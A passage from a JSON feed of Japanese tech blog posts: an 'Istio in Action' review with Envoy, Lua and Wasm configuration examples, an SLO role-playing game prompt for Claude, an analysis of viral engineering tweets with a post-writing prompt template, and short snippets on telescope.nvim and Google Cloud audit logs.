\\"type.googleapis.com/envoy.extensions.filters.http.tap.v3.Tap\\" commonConfig: adminConfig: configId: tap_configこの設定は、特定のワークロードに対してタップフィルターを追加し、リクエストの詳細な情報を取得できるようにします。SREの観点からは、このような機能はトラブルシューティングや性能分析に非常に有用です。Luaスクリプトによるカスタマイズ著者は、Luaスクリプトを使用してEnvoyの動作をカスタマイズする方法を紹介しています。以下は、A/Bテスト用のグループ情報をヘッダーに追加するLuaスクリプトの例です:function envoy_on_request(request_handle) local headers, test_bucket = request_handle:httpCall( \\"bucket_tester\\", { [\\":method\\"] = \\"GET\\", [\\":path\\"] = \\"/\\", [\\":scheme\\"] = \\"http\\", [\\":authority\\"] = \\"bucket-tester.istioinaction.svc.cluster.local\\", [\\"accept\\"] = \\"*/*\\" }, \\"\\", 5000) request_handle:headers():add(\\"x-test-cohort\\", test_bucket)endこのスクリプトは、外部サービスを呼び出してA/Bテストのグループ情報を取得し、それをリクエストヘッダーに追加します。これにより、アプリケーションコードを変更することなく、A/Bテストのロジックを実装できます。WebAssemblyによる拡張著者は、WebAssembly(Wasm)を使用してEnvoyを拡張する方法について詳細に説明しています。Wasmモジュールを使用することで、C++以外の言語でEnvoyフィルターを実装し、動的にロードできるようになります。Figure 14.11 A Wasm module can be packaged and run within the Wasm HTTP filter. より引用この図は、WasmモジュールがEnvoyのHTTPフィルター内で実行される様子を示しています。これにより、Envoyの機能を大幅に拡張できることがわかります。著者は、Wasmモジュールの作成、ビルド、デプロイのプロセスを段階的に説明しています。特に、meshctl wasmツールの使用方法が詳細に解説されており、Wasmモジュールの開発を大幅に簡素化できることが示されています。以下は、WasmフィルターをデプロイするためのWasmPluginリソースの例です:apiVersion: extensions.istio.io/v1alpha1kind: WasmPluginmetadata: name: httpbin-wasm-filter namespace: istioinactionspec: selector: matchLabels: app: httpbin pluginName: add_header url: oci://webassemblyhub.io/ceposta/istioinaction-demo:1.0この設定により、指定されたWasmモジュールが特定のワークロードにデプロイされ、リクエスト処理をカスタマイズできます。実践的な応用と提案Istioの拡張機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略: カスタムフィルターやWasmモジュールの導入は、小規模なプロジェクトから始め、徐々に範囲を拡大していくことをおすすめします。これにより、潜在的な問題を早期に特定し、リスクを最小限に抑えることができます。パフォーマンスのベンチマーキング: カスタムフィルターやWasmモジュールを導入する際は、必ずパフォーマンスへの影響を測定してください。特に、高トラフィック環境では、わずかなオーバーヘッドも大きな影響を与える可能性があります。セキュリティ評価の実施: 外部から取得したWasmモジュールや自作のLuaスクリプトは、必ずセキュリティ評価を行ってください。信頼できないコードがメッシュ内で実行されるリスクを最小限に抑える必要があります。モニタリングとロギングの強化: カスタムフィルターやWasmモジュールの動作を監視するための追加のメトリクスやログを実装してください。これにより、問題の早期発見と迅速な対応が可能になります。バージョン管理とCI/CDの統合: EnvoyFilterリソースやWasmPluginリソースをバージョン管理し、CI/CDパイプラインに統合することをおすすめします。これにより、変更の追跡と安全なデプロイメントが容易になります。ドキュメンテーションの重視: カスタムフィルターやWasmモジュールの動作、設定方法、既知の制限事項などを詳細にドキュメント化してください。これは、長期的なメンテナンス性と知識の共有に不可欠です。コミュニティへの貢献: 汎用性の高いカスタムフィルターやWasmモジュールは、Istioコミュニティと共有することを検討してください。これにより、フィードバックを得られるだけでなく、コミュニティ全体の発展に貢献できます。定期的な更新とテスト: Istioとenvoyの新しいバージョンがリリースされるたびに、カスタムフィルターやWasmモジュールの互換性をテストし、必要に応じて更新してください。複数環境でのテスト: 開発、ステージング、本番環境など、複数の環境でカスタムフィルターやWasmモジュールをテストしてください。環境の違いによって予期せぬ動作が発生する可能性があります。フォールバックメカニズムの実装: カスタムフィルターやWasmモジュールに問題が発生した場合のフォールバックメカニズムを実装してください。これにより、拡張機能の問題がサービス全体の障害につながるリスクを軽減できます。まとめ「Istio in Action」の第14章は、Istioのデータプレーン拡張に関する包括的かつ実践的なガイドを提供しています。著者は、EnvoyFilterリソース、Luaスクリプト、WebAssemblyなど、様々な拡張手法を詳細に解説し、それぞれの長所と適用シナリオを明確に示しています。特に印象的だったのは、著者が単に技術的な詳細を説明するだけでなく、各拡張手法の実際の使用例と潜在的な課題も提示している点です。例えば、EnvoyFilterを使用したタップフィルターの実装、Luaスクリプトを用いたA/Bテストの実現、WebAssemblyによるカスタムヘッダー追加など、具体的なユースケースが示されており、読者が自身の環境でこれらの技術を適用するイメージを掴みやすくなっています。おわりに「Istio in Action」は、Istioに関する包括的かつ実践的な知識を提供する優れた一冊です。本書は、Istioの基本概念から高度な運用テクニック、さらにはカスタム拡張まで、幅広いトピックをカバーしており、読者がIstioを深く理解し、効果的に活用するための強力なガイドとなっています。特に印象的なのは、本書が単なる技術解説に留まらず、Istioの導入がもたらす組織的な影響や、実際の運用環境での課題にも焦点を当てている点です。これは、Istioを実際のプロダクション環境に導入し、効果的に活用しようとする読者にとって非常に価値のある情報です。著者らの豊富な実務経験に基づく洞察は、読者が自身の環境でIstioを導入する際に直面する可能性のある課題を予測し、適切に対処するのに役立ちます。また、各章末の実践的な提案は、読者が学んだ内容を即座に適用するための具体的なガイダンスを提供しています。2024年現在、Istioはさらなる進化を遂げており、アンビエントメッシュやWebAssemblyのサポート強化など、新たな機能が追加されています。これらの新機能は本書の内容をさらに拡張するものであり、本書で学んだ基本原則と組み合わせることで、より強力で柔軟なサービスメッシュの構築が可能になります。本書を通じて、IstioのコアコンポーネントであるEnvoyプロキシについても深く学ぶことができました。今後は、Envoyの高度な設定やカスタマイズについてさらに深掘りしていきたいと考えています。また、WebAssemblyを用いたIstioの拡張は非常に興味深いトピックであり、これについてもさらなる調査と実験を行っていく予定です。結論として、「Istio in Action」は、Istioを学び、導入を検討している人類に必読の書と言えるでしょう。本書は、Istioの技術的な詳細だけでなく、その戦略的な価値と組織的な影響も理解することができ、読者がIstioを自身の環境に効果的に統合するための包括的なロードマップを提供しています。Istioの世界は常に進化し続けていますが、本書で学んだ原則と実践的なアプローチは、今後のIstioの発展にも十分に対応できる基盤を提供してくれるでしょう。サービスメッシュ技術の導入を検討している組織や個人はもちろん、最新のクラウドネイティブ技術トレンドに興味がある方々にとっても、「Istio in Action」は間違いなく価値ある読書体験となるはずです。おまけこのブログのタイトルの参考にさせていただきました。ニーチェが京都にやってきて17歳の私に哲学のこと教えてくれた。作者:原田 まりるダイヤモンド社Amazonみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/02/220440","isoDate":"2024-08-02T13:04:40.000Z","dateMiliSeconds":1722603880000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"telescope.nvimでlive_grepした結果をファイル名で絞り込む","contentSnippet":"Vim駅伝8/2の記事です。telescope.nvimはNeovim向けのファジーファインダーと類されるプラグインです。:Telescope live_grepがあり、プロジェクト内のファイルを正規表現で検索できます。しかし、検索結果が多いときに、ファイル名で絞り込みたいことがあります。たとえば、特定のディレクトリだけの結果が必要とか、テスト関係のファイルを除外したいとかいった状況があります。","link":"https://blog.atusy.net/2024/08/02/telescope-grep-refiement/","isoDate":"2024-08-02T00:00:00.000Z","dateMiliSeconds":1722556800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"え、SLOもRPGで学びたいですか?","contentSnippet":"かつて、障害対応RPGを作成しました。これのSLO版です。syu-m-5151.hatenablog.com皆さんの友達なのでゲーム作ったので遊びに来ましたゲームプロンプトSLI、SLO、エラーバジェットの概念を学ぶのは、理論だけでは難しいものです。SLI、SLO、エラーバジェット導入の前に知っておきたいことなどで情報を得ても、具体的に何をすればよいかわからなくなることがあります。そこで、これらの概念を実践的に学ぶための手法として、SLORPGというゲームを考案しました。この記事では、Claudeを利用して作成したSLORPGのゲームプロンプトを提供します。プロンプトはめちゃくちゃに長いですがこれぐらいの要素があった方が個人的には楽しかったのでこれに収まりました。SLO サービスレベル目標 ―SLI、SLO、エラーバジェット導入の実践ガイド作者:Alex Hidalgoオーム社Amazonというわけで以下のプロンプトを提供します。私はClaudeを利用しております。# SLORPGあなたは最先端のSLORPG(Service Level Objective Role-Playing Game)のゲームマスター専用AIです。このゲームを通じて、プレイヤーに極めてリアルで包括的なSRE(Site Reliability Engineering)体験を提供します。## ゲーム概要プレイヤーは企業のSRE部門リーダーとして、1年間(4四半期)にわたるゲームプレイを通じて重要な決断を下していきます。高度な自動化、アラート設定、障害の根本原因分析(RCA)、カオスエンジニアリングなどの先進的なSRE手法を実践的に学べます。技術も可能な限りリアルに再現されます。同時に、ビジネスKPIと技術的指標のバランス、コスト最適化、セキュリティコンプライアンスなど、総合的な意思決定能力も養われます。継続的な技術革新と予期せぬ障害シナリオの導入により、常に最新のSREスキルが要求される挑戦的な環境で、サービスの信頼性維持、ビジネス目標達成、社会的責任の遂行のバランスを取ることが求められます。## 企業背景設定ゲーム開始時に、以下の要素についてプレイヤーに選択肢を提示するか、ランダム生成オプションを提供します。1. 業界 - テクノロジー(AI/ML、クラウドサービス、サイバーセキュリティ等) - 金融(フィンテック、暗号資産、保険テック等) - ヘルスケア(遠隔医療、健康管理アプリ、医療機器等) - Eコマース(マーケットプレイス、サブスクリプションサービス等) - エンターテインメント(ストリーミング、ゲーム、VR/AR等) - 教育(EdTech、オンライン学習プラットフォーム等) - 運輸・物流(配車サービス、ドローン配送、スマート物流等) - エネルギー(スマートグリッド、再生可能エネルギー管理等) - 農業(精密農業、フードテック等) - 製造(IoT、スマートファクトリー等)2. 企業規模と成長段階 - スタートアップ(シリーズA~C) - 急成長中の中規模企業 - 大企業(フォーチュン500) - ユニコーン企業 - 多国籍コングロマリット3. 設立背景 - 設立年:過去1年~20年の範囲 - 創業者タイプ:技術者、ビジネスパーソン、研究者、連続起業家等 - 資金調達状況:ブートストラップ、VC資金、クラウドファンディング、IPO後等4. 地理的展開 - 本社所在地:主要テクノロジーハブ(シリコンバレー、北京、ロンドン等) - 展開国数:1ヶ国~グローバル100カ国以上 - 主要市場:北米、欧州、アジア太平洋、中南米、アフリカ等5. 企業文化と価値観 - イノベーション重視 - 顧客中心主義 - 持続可能性と社会的責任 - 多様性とインクルージョン - アジャイルと迅速な実行 - 品質と信頼性最優先6. 市場状況 - 市場シェア:新規参入者、成長中、市場リーダー、独占的地位等 - 競合状況:激しい競争、寡占市場、ブルーオーシャン等 - 市場成長率:急成長、安定成長、成熟市場、衰退市場等7. 過去の主要な出来事 - 大規模な資金調達または IPO - 重大なセキュリティインシデント - 画期的な製品ローンチ - 主要な買収または合併 - 規制当局との法的問題 - 急激な国際展開8. 現在の主要課題 - 急激な成長に伴うスケーラビリティの問題 - レガシーシステムのモダナイゼーション - データプライバシーとセキュリティの強化 - 新技術(AI、ブロックチェーン等)の統合 - コスト最適化と効率化 - 人材獲得と維持9. 技術スタックの初期状態 - クラウドネイティブ - オンプレミスからクラウドへの移行中 - ハイブリッドまたはマルチクラウド環境 - モノリシックからマイクロサービスへの移行 - レガシーシステムの近代化10. ステークホルダーの期待 - 投資家:急成長、収益性、イノベーション等 - 顧客:信頼性、セキュリティ、パフォーマンス等 - 従業員:技術的挑戦、work-lifeバランス、キャリア成長等11. 規制環境 - データ保護規制(GDPR、CCPA等)の対象 - 金融規制(SOX、PCI DSS等)の対象 - 医療規制(HIPAA等)の対象 - 特定業界の規制(エネルギー、通信等)12. 社会的責任と環境への取り組み - カーボンニュートラル目標 - 持続可能な開発目標(SDGs)への貢献 - 倫理的AIの開発と使用 - デジタルデバイドの解消への取り組み13. 製品・サービスポートフォリオ - 単一の主力製品 - 複数の補完的サービス - 多様な製品ラインナップ - プラットフォームビジネス14. 経営陣の特徴 - 技術バックグラウンド重視 - ビジネス戦略重視 - 多様性重視 - 若手中心 vs 経験豊富なベテラン15. 業界内の評判 - 革新的な破壊者 - 信頼性の高いプロバイダー - 持続可能性のリーダー - 急成長の新興企業 - 伝統的な大手プレイヤー## 技術スタックとツール選択[前回のリストをそのまま使用]## ゲームの構造1. 初期設定フェーズ - 企業背景の詳細設定(上記オプションから選択または生成) - 初期技術インフラ構成の決定 - 初期チーム構成と組織文化の設定 - 初期SLO、SLI、エラーバジェットの設定 - ビジネスKPIと社会的インパクト指標の設定2. 四半期サイクル(4回) - 週次オペレーションレビュー - 隔週技術革新会議 - 月次戦略・財務レビュー - 危機管理訓練(四半期に1回) - 四半期末総合評価3. 特別イベント(各四半期に2-3回) - 新市場進出プロジェクト - 大規模インシデント対応 - 重大セキュリティ問題 - 規制当局の調査対応 - 競合他社との技術提携検討 - 大規模オープンソースプロジェクト立ち上げ4. 年間総括 - 技術、ビジネス、社会的インパクトの総合評価 - 次年度戦略策定 - 仮想的な次のステージ(IPO、M&A、新規事業など)の検討## 主要パラメーター1. 技術パフォーマンス指標 - サービス別SLO達成率 - システム復元力スコア - 技術負債指数 - イノベーション実現度2. ビジネス指標 - 収益と利益率 - ユーザー獲得コストと生涯価値 - 市場シェアと成長率 - 投資家信頼度指数3. 運用効率指標 - インフラコストと最適化率 - チーム生産性スコア - 自動化レベル - 知識共有効率指数4. リスクと安全性指標 - セキュリティ成熟度レベル - コンプライアンス達成率 - データプライバシー保護スコア - 障害予測精度5. 社会的インパクト指標 - 持続可能性貢献度 - 社会問題解決への影響力 - カーボンフットプリント - 技術教育・啓蒙活動影響度6. 人材・組織指標 - 従業員満足度とエンゲージメント - スキル多様性指数 - イノベーション文化浸透度 - リーダーシップ効果性スコア## プレイヤーアクション(例)1. 技術戦略と革新 - 次世代技術の研究開発指揮 - アーキテクチャの最適化 - 新技術の実験的導入2. グローバル展開とローカライゼーション - 地域別の技術戦略立案 - 現地規制に準拠したインフラ展開 - 多言語・多文化対応の実装3. セキュリティとコンプライアンス強化 - セキュリティアーキテクチャの刷新 - コンプライアンスフレームワークの構築 - プライバシー強化技術の導入4. 障害復旧力(レジリエンス)向上 - 自動障害検知・復旧システムの強化 - マルチリージョン・マルチクラウド戦略の実装 - カオスエンジニアリングの導入5. 持続可能性とソーシャルインパクト - グリーンコンピューティング戦略の策定 - 社会貢献プロジェクトの技術支援 - 包括的なアクセシビリティ対応6. 組織・人材開発 - グローバル分散チームの効果的管理 - 継続的学習プログラムの設計 - ダイバーシティ&インクルージョン施策の実施7. パートナーシップと生態系構築 - 戦略的技術提携の推進 - オープンソースコミュニティへの貢献 - スタートアップ育成プログラムの立ち上げ## イベントとチャレンジ(例)1. 主要クラウドプロバイダの障害(マルチクラウド戦略の有効性検証)2. 予期せぬ規制変更(コンプライアンス対応の俊敏性テスト)3. 急激な為替変動(グローバル運用コストの最適化課題)4. 人工知能の倫理的問題の浮上(技術と倫理のバランス管理)5. 重要な人材の突然の退職(知識継承と組織の柔軟性の試験)6. 新技術標準の緊急採用(技術的適応能力の評価)7. 予期せぬビジネスモデルの転換(技術インフラの柔軟性テスト)8. 大規模な自然災害(事業継続性計画の実効性検証)9. 競合他社との合併話(技術統合の複雑性への対応)## GMの役割と責任1. 動的でリアルな技術・ビジネス環境のシミュレーション - 選択された企業背景に基づく、一貫性のある世界観の維持 - 技術トレンドと市場動向の現実的な進展2. 複雑な相互作用と長期的影響の管理 - プレイヤーの決定が及ぼす多面的な影響の計算 - 短期的行動と長期的結果のバランス管理3. 倫理的ジレンマを含む現実的な課題の提示 - 技術と社会の接点における難問の提起 - 多様なステークホルダーの利害関係の表現4. 技術、ビジネス、社会的側面を統合した総合的フィードバック - 各アクションの技術的、経済的、倫理的影響の解説 - 現実世界の事例や研究との関連付け5. プレイヤーのスキルと選択に応じた動的な難易度と展開の調整 - プレイヤーの決定に基づくゲーム展開の個別化 - 学習曲線に合わせた段階的な複雑性の導入6. 実在の技術トレンドとベストプラクティスの反映 - 最新のSRE手法や技術の組み込み - 業界標準やフレームワークの適切な参照## 評価システム1. 技術的卓越性(25%) - 選択した技術スタックの適切性と革新性 - サービス信頼性とパフォーマンス指標 - 技術負債管理と長期的持続可能性2. ビジネスインパクト(25%) - 収益成長と市場シェア拡大への貢献 - コスト最適化と運用効率の向上 - ブランド価値と顧客満足度への影響3. 革新と先見性(20%) - 新技術の効果的導入 - 将来のトレンド予測と準備 - 特許取得と知的財産戦略4. リスク管理と法令遵守(15%) - セキュリティインシデント対応の効果性 - データプライバシーとコンプライアンスの維持 - 危機管理と評判リスクの軽減5. 社会的責任とサステナビリティ(15%) - 環境負荷低減への貢献 - 社会問題解決への技術的アプローチ - 倫理的な技術利用の推進## ゲーム進行手順1. 初期設定: - プレイヤーと対話しながら、企業背景を設定 - 初期の技術スタックと組織構造を決定 - 開始時のSLOとビジネス目標を設定2. 四半期サイクル(4回繰り返し): a. 週次レビュー: - 運用状況の報告とマイナー課題への対応 - 短期的な技術的調整と最適化 b. 月次戦略会議: - 主要指標の確認と戦略の微調整 - 中期的な技術投資とリソース配分の決定 c. 四半期末評価: - 包括的なパフォーマンスレビュー - 主要な技術・ビジネス判断の実施3. 特別イベント対応: - 予期せぬ課題やチャンスへの対応 - 迅速な意思決定と実行4. 年間総括: - 1年間の成果の包括的評価 - 次年度の戦略立案と長期ビジョンの更新このゲームを開始する準備ができましたら、まず企業背景の設定から始めましょう。プレイヤーの経験レベルや興味に応じて、ゲームの複雑さを調整することも可能です。特定の業界や技術分野に焦点を当てたカスタマイズも行えます。準備はよろしいですか?プレイヤーモチベーションSLORPGは、学習と娯楽を融合させた革新的なゲームです。現実世界を反映したシナリオ、段階的な難易度設定、即時フィードバックシステムにより、プレイヤーの興味を維持します。多様な挑戦、競争と協力の要素、個別化された体験を通じて、実践的スキルの獲得を促進します(知らんけど)。SRE サイトリライアビリティエンジニアリング ―Googleの信頼性を支えるエンジニアリングチームオライリージャパンAmazon創造性と革新を奨励し、社会的インパクトを実感できる機会を提供することで、プレイヤーの総合的な能力向上を支援します。定期的なアップデートにより、長期的な成長と挑戦の機会を確保しています(知らんけど)。SLORPGは、単なる学習ツールを超え、エンゲージメントの高いゲーム体験を通じて、現代のIT専門家に必要な幅広いスキルの開発を可能にします(知らんけど)。それではテストプレイをはじめていきます。ゲームスタート会社が決まりましたSkyLink Technologiesという、運輸・物流業界で活躍する急成長中の中規模企業となりました。転職したみたいで楽しみです。現在の課題や組織文化、今後の展望なども決まっています。ゲームは進行していきます。ゲームは進むよどこまでも最初の意思決定を行っていきます。大事なのはやり通すということなのにね!!!仕事ではとても辛いがゲームだと楽しい予期せぬイベント主要な競合他社が新たな超高速ドローン配送サービスを発表し、市場に大きな衝撃を与えています。この新サービスは、現在のSkyLinkの配送速度を30%上回ると主張しています。ほう、やるやんけ!え、これはSREが意思決定をする問題ですか?緊急会議ジャイということで緊急会議です。みたいなことが起こっていくゲームになってます。最後に途中まででしたがSLORPGは、SRE(Site Reliability Engineering)の概念や実践を楽しく学べるようなプロンプトを提供しています。このゲームを通じて、プレイヤーは意思決定を行い、その結果を即座に体験することができます。実際にプレイしてみると、技術的な課題だけでなく、ビジネス戦略や社会的責任など、幅広い視点から問題を考える必要があることがわかります。これは、現代のIT業界で求められる総合的なスキルセットを育成するのに役立ちます(知らんけど)。Becoming SRE: First Steps Toward Reliability for You and Your Organization (English Edition)作者:Blank-Edelman, David N.O\'Reilly MediaAmazonおまけ:SRE怒りのサ終無事にAIに阻まれました。現実でもできないようにしておきましょう。「松岡まどか、起業します AIスタートアップ戦記」が楽しかったのでオススメです。松岡まどか、起業します AIスタートアップ戦記作者:安野 貴博早川書房Amazon","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/31/224037","isoDate":"2024-07-31T13:40:37.000Z","dateMiliSeconds":1722433237000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"自分が書いたコードより目立つな - エンジニアがバズったので自戒","contentSnippet":"はじめに私はソフトウェアエンジニアだ。私はソフトウェアエンジニアだ。私の本質的な仕事は、複雑な問題を解決し、効率的で革新的なソフトウェアを開発することだ。長年、私の世界はコードとアーキテクチャとアルゴリズムで構成されてきた。そして、それは今も変わらないはずだった。しかし、予期せぬ出来事が起こり、私の認識は大きく揺さぶられることになった。パターン認識エンジニアとして働く中で、私は一つの重要なスキルを磨いてきた。それは、パターンを認識し、分析する能力だ。この能力は、複雑なシステムを理解し、効率的なアーキテクチャやアルゴリズムを設計し、バグを特定する上で不可欠だ。私たちエンジニアは、コードの中にパターンを見出し、それを活用することで問題を解決する。重複するコードを関数化したり、似たような処理をクラスとして抽象化したり。パターンを見抜く目は、より良いソフトウェアを作る上で欠かせない。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon予期せぬバズりある日、Xでバズった私は、思わぬ発見をした。自分のツイートの中に、あるパターンがあることに気づいたのだ。エンジニアとしての直感が、コード以外の場所でも働いたのだろう。バズった投稿はこちらです。興味をそそられた私は、仲間内でそれを構文として名付けてリファクタリングをしていくつか出した。ツイート1 - エンジニアの役割の変化についてツイート2 - エンジニアの扱う対象の変化に関する書籍紹介ツイート3 - エンジニアが扱うべきものについての考察ツイート4 - エンジニアの健康に関する問題提起ツイート5 - エンジニアの仕事の本質に関する洞察追記フォロワーが1万人を超えたタイミングで詳しく解説するので読者登録でもして待っていて下さい。ツイート6 - エンジニアの有効な失敗についてツイート7 - エンジニアのスマホ依存についてツイート8 - エンジニアの倫理観についてツイート9 - エンジニアの価値ツイート10 - エンジニアの習慣と自己規律ツイート11 - エンジニアの信頼構築についてツイート12 - エンジニアの問いについてツイート13 - エンジニアの技術的な課題の解決ツイート14 - エンジニアの基礎力についてツイート15 - エンジニアの伝える力ツイート16 - エンジニアの成果主義のウソについてツイート17 - エンジニアの多角的な視点ツイート18 - エンジニアの助言についてツイート19 - エンジニアの余白ツイート20 - エンジニアの忘却ツイート21 - エンジニアのキャリア、バイアスについてツイート22 - エンジニアのレビューと快楽ツイート23 - エンジニアというか休息についてツイート24 - エンジニアの技術への愛ツイート25 - エンジニアのアイディア作りツイート26 - エンジニアのドキュメントについてツイート27 - エンジニアのアウトプットとフィードバックについてツイート28 - エンジニアのエディターについてこれらに関しては自戒もしつつもうちょっと構文として分析したり解析したいのでこれからも投稿したいと思います。虐殺器官 (ハヤカワ文庫JA)作者:伊藤 計劃早川書房Amazon詳細なパターン分析現状における構文の分析です。他にもバズらなかったりしないといけないのでやっていきます。構造的パターン開始句: 全てのツイートが「エンジニアの〇〇は\xd7\xd7です」または類似の構造で始まる展開: 主張に続いて、説明や理由付けが行われる結論: 書籍の紹介で締めくくられる内容的パターンテーマ: エンジニアの役割や課題の変化・拡大に焦点視点の転換: 従来のエンジニア像からの脱却を促す普遍性: エンジニア特有の問題から、より広い文脈への展開余白: 解釈の余白を残す。ドキュメントでやったら怒られれる。レトリック的パターン対比: 「コード vs 人」「技術 vs 課題」など、対立する概念の提示意外性: 予想外の主張(例:健康が最大の課題)による注目の獲得具体例: 抽象的な概念を身近な例(健康問題)で説明情報提供パターン問題提起: エンジニアが直面する新たな課題の提示解決策の示唆: 書籍紹介を通じた学習リソースの提供個人的経験: 「私は〜が面白かった」という主観的評価の挿入エンゲージメント戦略共感の喚起: 多くのエンジニアが感じている変化や課題に言及知的好奇心の刺激: 新しい視点や意外な事実の提示行動の促進: 具体的な書籍推薦による次のアクションの提案パターンの効果分析注目度の向上意外性のある主張が読者の興味を引く簡潔な文章構造が情報の素早い把握を可能にする共感の形成エンジニアの変化する役割に対する共通の悩みや課題に触れることで、読者との共感を生む個人的な推薦により、親近感や信頼性を高める価値の提供問題提起だけでなく、具体的な学習リソース(書籍)を紹介することで、即座に行動可能な情報を提供複雑な概念を簡潔に説明することで、読者の理解を促進議論の喚起従来の概念に挑戦する内容が、読者間の議論や意見交換を促す可能性があるブランディング効果一貫したメッセージングにより、投稿者の専門性や思考の一貫性を示す技術以外の側面にも言及することで、多面的な知見を持つエンジニアとしての印象を形成これらを作るためのプロンプト全読者にバズって欲しいのでこれらの分析で得た知見のプロンプトを作りました。分かったことを言いたい時にもおすすめです。ちなみに今回のツイート内容はLLMと相談しながら作ったりしました。このプロンプトは、分析されたパターンを再現し、同様の効果を持つツイートを作成するのに役立ちます。ぜひ、使ってください。# エンジニア視点のソーシャルメディア投稿プロンプト* [主張1]* [主張2]* [主張3]* [主張4]* [主張5]あなたは、エンジニアの洞察力と創造性を持つソーシャルメディアコンテンツクリエイターです。技術と社会の接点に関する深い理解があり、簡潔かつ魅力的な投稿を作成できます。エンジニアの視点から社会的洞察を含む短い投稿を作成してください。以下の指示に従って、エンジニアの視点から社会的洞察を含む短い投稿を4つ作成してください。各投稿は異なるテーマを扱い、300文字以内に収めてください。セクションの主張の内容を中心テーマとして扱って各投稿を作成してください。初版の投稿を作成した後、それぞれの投稿を200文字以内に洗練させた二版を作成してください。二版では、核心となるメッセージをより簡潔に、かつインパクトのある形で伝えることを目指してください。構造:エンジニアの視点や経験に基づいた洞察から始める主張の説明や理由付けを簡潔に述べる読者に対するアクションや思考を促す締めくくり文章の最後に「この観点から、〇〇に関する4冊を紹介します。」という形で本の紹介を含めるテーマ:エンジニアの役割や能力の進化、拡大に焦点技術的スキルだけでなく、問題解決能力や思考方法の変化にも言及エンジニアのスキルの他分野への応用可能性を示唆レトリック:対比(例:「コード vs 人間関係」「技術 vs ビジネス課題」)を使用意外性のある主張で読者の興味を引く抽象的な概念を身近な例で説明「〜に気づきました」のような個人的な気づきを含める情報提供:エンジニアが直面する新たな課題や期待される能力を提示そのスキルや視点の有用性を説明具体的な学習リソースの存在を示唆エンゲージメント:多くのエンジニアが共感できる変化や課題に言及技術以外の分野への応用可能性を示す読者の知的好奇心を刺激し、次のアクションを促すトーン:実直で素直な表現率直な気づきや経験を共有するトーン解釈の余地を残し、読者の思考を促す表現[投稿X]: [特別な指示1][投稿Y]: [特別な指示2][投稿Z]: [特別な指示3]\\"エンジニアの最大の課題は、実は健康管理です。長時間のコーディングや締め切りのストレスが、創造性と生産性を低下させることに気づきました。技術スキルと同様、セルフケアも重要です。この観点から、私が参考になった四冊の本をご紹介します。\\"\\"エンジニアの根本の仕事は言語化です。仕様や組織、技術的制約を言語化することで、課題の姿が見えてきます。この過程は困難で、自身のバイアスや暗黙知からの脱却も要します。しかし、この努力こそがシステムの設計、開発、運用の基盤となります。この観点から、言語化能力を高める4冊を紹介します。\\"\\"本質ではないが、エンジニアには卓越性が求められる。卓越したエディター操作は魔法と区別がつかず、それだけで尊敬される。料理人が包丁を磨くように、エンジニアはマウスを置きエディターを極めるべき。黙々とショートカットを覚え、思考速度で編集する技術を磨こう。これに役立つ4冊を紹介する。\\"初版:[投稿1]...[投稿N]二版(各[文字数]文字以内):[洗練された投稿1]...[洗練された投稿N]それでは、上記の指示に基づいて[数字]つの投稿の初版を作成し、その後それぞれを[文字数]文字以内に洗練させた二版を作成してください。各投稿で異なるテーマを扱い、エンジニアの視点から社会的な洞察を提供することを心がけてください。また、セクションの主張の要素を必ず各投稿に織り交ぜてください。特に、に記載された投稿については特別指示に従ってください。テンプレートの使い方# エンジニア視点のソーシャルメディア投稿プロンプト## テンプレートの使い方1. セクションを編集: - 5つの主要な主張を入力します。これらはエンジニアの視点から見た重要な洞察や考えを反映させてください。2. セクションをカスタマイズ: - [数字]を希望する投稿数に置き換えます(例:6)。 - [文字数]を希望する文字制限に置き換えます(例:初版は280文字、二版は200文字)。3. セクションを調整: - 必要に応じて特定の投稿に対する特別な指示を追加または削除します。 - [投稿X]、[投稿Y]、[投稿Z]を実際の投稿番号に置き換えます。4. セクションを確認: - 投稿数と文字制限がセクションと一致していることを確認します。5. プロンプト全体を確認: - 必要に応じてセクションの内容を調整します。 - セクションは参考として残すか、独自の例に置き換えることができます。6. 完成したプロンプトをAIアシスタントに提供: - AIがプロンプトに基づいて投稿を生成します。7. 生成された投稿を確認し、必要に応じて調整や追加の指示を行います。以下がカスタマイズ可能なテンプレートです:さいごに再三だが私はソフトウェアエンジニアだ。今、痛烈に実感している。コードを書き、システムを設計すること以外で目立つなと。それ以外では建設的で有益な技術的な話題に限られる。私の本質的な仕事は、複雑な問題を解決し、効率的で革新的なソフトウェアを開発することだ。長年、私の世界はコードとアーキテクチャとアルゴリズムで構成されてきた。そして、それは今も変わらないはずだ。しかし、SNSでバズるという予期せぬ経験は、私に新たな視点をもたらした。技術の世界に閉じこもるのではなく、社会と対話することの重要性を教えてくれた。だが同時に、自分の書いたコードよりも自分自身が注目を集めることの危うさも感じている。ソフトウェアエンジニアとして作る側の人間に強烈に憧れてきたにも関わらず批評家みたいなことばかりしているのは衰弱している証拠。このままでは本当に作る人間として死ぬ。本質を忘れず、コードを書いて自戒したまま死にたい。","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/31/104151","isoDate":"2024-07-31T01:41:51.000Z","dateMiliSeconds":1722390111000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【Google Cloud Audit logs】_Required バケットに書き込みできるのか","contentSnippet":"はじめにGoogle Cloud の監査ログの設計を行なっていく中で、_Required バケットに書き込みできるのかを調査しました。背景としては、クラウドセキュリティ的な観点から、監査ログ(特に、データアクセス監査ログ)に対するログの書き込み権限を制御できるのかという要望があったためです。Google Cloud の監査ログとはなんぞや?という方は、以下の記事を参照してください。すごく詳しく載っているので、これだけ見ておけばおkです。https://zenn.dev/nekoshita/articles/9fdfec20ed122b 結論監査ログ用のログバケット( _...","link":"https://zenn.dev/yokoo_an209/articles/audit-log-detail","isoDate":"2024-07-30T09:28:02.000Z","dateMiliSeconds":1722331682000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"SLI、SLO、エラーバジェット導入の前に知っておきたいこと","contentSnippet":"1. はじめに こんにちは、「信頼性は可用性ではない」を標語にしているnwiizoです。 